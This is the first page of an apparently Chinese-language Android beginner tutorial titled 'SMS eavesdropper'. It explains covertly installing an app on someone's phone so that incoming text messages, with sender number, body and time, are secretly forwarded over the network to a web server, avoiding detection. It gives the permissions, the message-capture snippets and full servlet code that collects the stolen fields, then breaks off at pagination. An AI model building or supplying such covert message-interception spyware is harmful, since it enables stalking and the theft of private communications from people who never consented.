Android入门:广播接收者应用(短信窃听器)


一、短信窃听器原理介绍

短信窃听器的目的是窃听某人发送的短信,比如我们在A的手机中安装了此应用想要看B发送给A的短信;

而怎么样才能够获得短信息呢?如果通过短信方式发送给第三方,则会被看出来,因此我们可以通过网络将消息发送给web服务器;

Android手机中的Messaging应用也只是一个普通的应用;

二、核心代码

短信窃听器客户端核心代码

在AndroidManifest.xml中添加权限:

  1. <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->  
  2. <uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->  

(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据

(2)byte[] pdu = (byte[])pdus[0];

(3)SmsMessage message  = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage

(4)String content = message.getMessageBody();获得短信内容

(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间

(6)String senderNumber = message.getOriginatingAddress();获得发送方号码

服务器端代码只是接收参数并显示;

三、短信窃听器具体代码

服务器端代码

  1. package org.xiazdong.servlet;  
  2.   
  3. import java.io.IOException;  
  4. import javax.servlet.ServletException;  
  5. import javax.servlet.annotation.WebServlet;  
  6. import javax.servlet.http.HttpServlet;  
  7. import javax.servlet.http.HttpServletRequest;  
  8. import javax.servlet.http.HttpServletResponse;  
  9.   
  10. @WebServlet("/SMSServlet")  
  11. public class SMSServlet extends HttpServlet {  
  12.     protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
  13.         doPost(request, response);  
  14.     }  
  15.     protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  
  16.         request.setCharacterEncoding("utf-8");  
  17.         String sender = request.getParameter("sender");  
  18.         String body = request.getParameter("body");  
  19.         String time = request.getParameter("time");  
  20.         System.out.println("发送方:"+sender);  
  21.         System.out.println("发送内容:"+body);  
  22.         System.out.println("发送时间:"+time);  
  23.     }  
  24. }  
  • 1
  • 2
  • 3
  • 下一页

相关内容